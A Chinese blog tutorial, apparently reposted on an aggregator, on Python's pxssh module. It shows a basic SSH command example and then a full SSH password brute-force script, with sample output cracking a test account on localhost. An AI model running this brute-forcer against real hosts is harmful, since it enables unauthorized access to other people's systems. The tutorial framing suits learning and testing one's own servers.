pxssh模块——python

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pxssh模块——python相关的知识,希望对你有一定的参考价值。

1、描述:

pxssh预先已经有了login()、logout()和prompt()等函数直接与ssh进行交互。


1.1 示例代码:

#导入pxssh模块

import pxssh


def send_command(s,cmd):

#发送命令

    s.sendline(cmd)

#获取期望的输出提示符

    s.prompt()

#显示返回信息

    print s.before


def connect(host,user,password):

    try:

#创建pxssh对象

s = pxssh.pxssh()

#登陆ssh函数

s.login(host,user,password)

return s

    except:

print ‘[-] Error Connecting‘

exit(0)


s = connect(‘127.0.0.1‘,‘test‘,‘test‘)

send_command(s,‘ls /‘)


1.1 运行:

sshPxssh.py是程序的文件名

[email protected]:/usr/python# python sshPxssh.py 

ls /

0     dev   initrd.imglost+found  opt    root  srv   tmpvmlinuz

bin   etc   libmedia    proc   run sys   usr

boot  home  live-buildmnt    p.txt  sbin  testfile  var


1.2 简单ssh暴力破解程序

import pxssh

import optparse


def connect(host,user,password):

    print ‘[-] Testing: ‘ + password

    try:

s = pxssh.pxssh()

s.login(host,user,password)

print ‘[*] Password Found: ‘+password

    except:

print ‘[-] Error Connecting‘



def main():

    parser = optparse.OptionParser(‘usage %prog -H <host> -u <user> -F <passfile>‘)

    parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify target host‘)

    parser.add_option(‘-u‘,dest=‘user‘,type=‘string‘,help=‘specify the user‘)

    parser.add_option(‘-F‘,dest=‘passwdFile‘,type=‘string‘,help=‘passwod file‘)

    (options,args) = parser.parse_args()

    host = options.tgtHost

    passwdFile = options.passwdFile

    user = options.user

    fn = open(passwdFile,‘r‘)

    for line in fn.readlines():

password = line.strip(‘\r‘).strip(‘\n‘)

connect(host,user,password)


if __name__ == ‘__main__‘:

    main()

1.2 运行:

[email protected]:/usr/python# python sshBrute.py -H 127.0.0.1 -u test -F file.txt

[-] Testing: 1234

[-] Error Connecting

[-] Testing: 2222

[-] Error Connecting

[-] Testing: 4444

[-] Error Connecting

[-] Testing: 555

[-] Error Connecting

[-] Testing: tttt

[-] Error Connecting

[-] Testing: admin

[-] Error Connecting

[-] Testing: root

[-] Error Connecting

[-] Testing: test

[*] Password Found: test


以上是关于pxssh模块——python的主要内容,如果未能解决你的问题,请参考以下文章

python 之pxssh“大变身”让它成为可交互小程序

pexpect的pxssh类实现远程操作

Python SSH登陆--pexpect,pxssh

Pexpect pxssh 连接时指定cipher

pythonpython操作剪切板-pyperclip模块

Pythonpython 命令行参数模块解析 定义